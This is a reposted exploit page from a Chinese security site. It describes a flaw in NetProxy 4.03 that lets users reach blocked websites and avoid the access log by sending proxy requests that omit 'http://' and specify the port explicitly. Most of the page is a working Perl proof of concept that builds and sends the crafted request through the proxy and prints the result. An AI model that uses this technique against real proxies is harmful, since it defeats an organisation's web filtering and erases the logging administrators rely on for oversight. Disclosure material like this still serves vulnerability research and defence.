首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
NetProxy <= 4.03 Web Filter Evasion / Bypass Logging Exploit
来源:http://www.craigheffner.com 作者:Craig 发布时间:2007-02-28  
#!/usr/bin/perl
###########################################################################
#
# Application:
#
# NetProxy 4.03
# http://www.grok.co.uk/netproxy/index.html
#
# Description:
#
# NetProxy includes a powerful web cache to boost
# performance and reduce online costs. There is
# also an application-level firewall to protect your
# network from unwanted access, full access logging
# to allow you to track Internet usage, and
# password-protected access to various Internet resources.
#
# Vulnerability:
#
# Sending a specially crafted request to the proxy server
# allows users to view restricted Web content and bypass
# the logging feature.
#
# Exploit:
#
# Assume that access to http://www.milw0rm.com has been blocked.
# The standard query string sent to NetProxy looks like:
#
# GET http://www.milw0rm.com HTTP/1.0
#
# NetProxy recognizes that this is a blocked URL and subsequently
# blocks the request. However, sending a request without 'http://'
# in the URL allows access to the blocked URL (note that the port
# must be manually specified as well):
#
# GET www.milw0rm.com:80 HTTP/1.0
#
# In addition, requests made in this manner are not logged to
# NetProxy's connection log file.
#
# Work-Around/Fix:
#
# Since the application automatically prepends the 'http://' string
# to every URL specified in the block list, this technique should work
# for all restricted Web sites, and ensures that there is no easy fix
# for this security hole. POC code follows.
#
# Credit:
#
# Exploit discovered and coded by Craig Heffner
# http://www.craigheffner.com
# heffnercj [at] gmail.com
###########################################################################

use IO::Socket;

#Define the NetProxy server and port
$proxy_ip = "127.0.0.1";
$proxy_port = "8080";

#Set the site, port and page to request
$site = "www.milw0rm.com";
$port = "80";
$page = "index.html";

#Define FF and IE user agent strings
$ms_ie = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)";
$ms_ff = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1";

#Create connection to NetProxy
my $sock = new IO::Socket::INET(
Proto => 'tcp',
PeerAddr => $proxy_ip,
PeerPort => $proxy_port,
);
die "Failed to connect to [$proxy_ip:$proxy_port] : $!\n" unless $sock;

#Format the request
$request = "GET $site:$port/$page HTTP/1.0\r\n";
$request .= "User-Agent: $ms_ff\r\n";
$request .= "\r\n";

#Send the request
print $sock $request;

#Read the reply
while(<$sock>){
$reply .= $_;
}

close($sock);

#Separate NetProxy header from HTML
($header,$html) = split("\r\n\r",$reply);

print $html;

exit;

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Plan 9 Kernel (devenv.c OTRUNC
·Oracle 9i/10g ACTIVATE_SUBSCRI
·Debian Apache 1.3.33/1.3.34 (C
·Oracle 9i/10g DBMS_METADATA.GE
·XM Easy Personal FTP Server 5.
·Oracle 10g KUPV$FT.ATTACH_JOB
·McAfee VirusScan for Mac (Vire
·Oracle 10g KUPW$WORKER.MAIN SQ
·vBulletin <= 3.6.4 (inlinemod.
·STWC-Counter <= 3.4.0 (downloa
·3Com TFTP Service <= 2.0.1 (Lo
·madwifi <= 0.9.2.1 WPA/RSN IE
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved